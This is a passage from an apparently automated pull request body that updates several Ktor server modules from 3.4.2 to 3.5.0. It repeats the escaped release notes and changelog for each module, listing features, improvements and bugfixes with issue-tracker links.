engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ktorio/ktor/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-call-logging-jvm` from 3.4.2 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-call-logging-jvm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-call-logging-jvm's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ktorio/ktor/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-netty-jvm` from 3.4.2 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-netty-jvm's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.4.3\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 22 April 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9451\"\u003eKTOR-9451\u003c/a\u003e OpenAPI schema inference not working for custom nested generics\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9490\"\u003eKTOR-9490\u003c/a\u003e OpenAPI: Self-referential schema $ref uses FQN while schema is registered with a simple name\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9463\"\u003eKTOR-9463\u003c/a\u003e OpenAPI: schema inference StackOverflow\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8938\"\u003eKTOR-8938\u003c/a\u003e WebSockets: WebSockets handler does not inherit server coroutine context\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8989\"\u003eKTOR-8989\u003c/a\u003e Shared engine is closed when a client created with \u003ccode\u003econfig\u003c/code\u003e method is closed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9485\"\u003eKTOR-9485\u003c/a\u003e Apache5: FutureCallback never called, breaking Java agent instrumentation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9497\"\u003eKTOR-9497\u003c/a\u003e Darwin: SIGABRT crash when \u003ccode\u003eclose()\u003c/code\u003e races with in-flight \u003ccode\u003eexecute()\u003c/code\u003e since 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9431\"\u003eKTOR-9431\u003c/a\u003e SuspendFunctionGun: ThreadContextElement leaks across requests when interceptor suspends\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9423\"\u003eKTOR-9423\u003c/a\u003e CannotTransformContentToTypeException leaks internal class names in response body\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9461\"\u003eKTOR-9461\u003c/a\u003e Incorrect link to the OWASP cheatsheet in the KDoc for CSRF plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9476\"\u003eKTOR-9476\u003c/a\u003e Unable to update/remove session data if no response content\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9343\"\u003eKTOR-9343\u003c/a\u003e HttpRequestLifecycle plugin with \u003ccode\u003ecancelCallOnClose\u003c/code\u003e on, cancels subsequent requests when CallLogging plugin with callIdMdc is installed\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-netty-jvm's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance 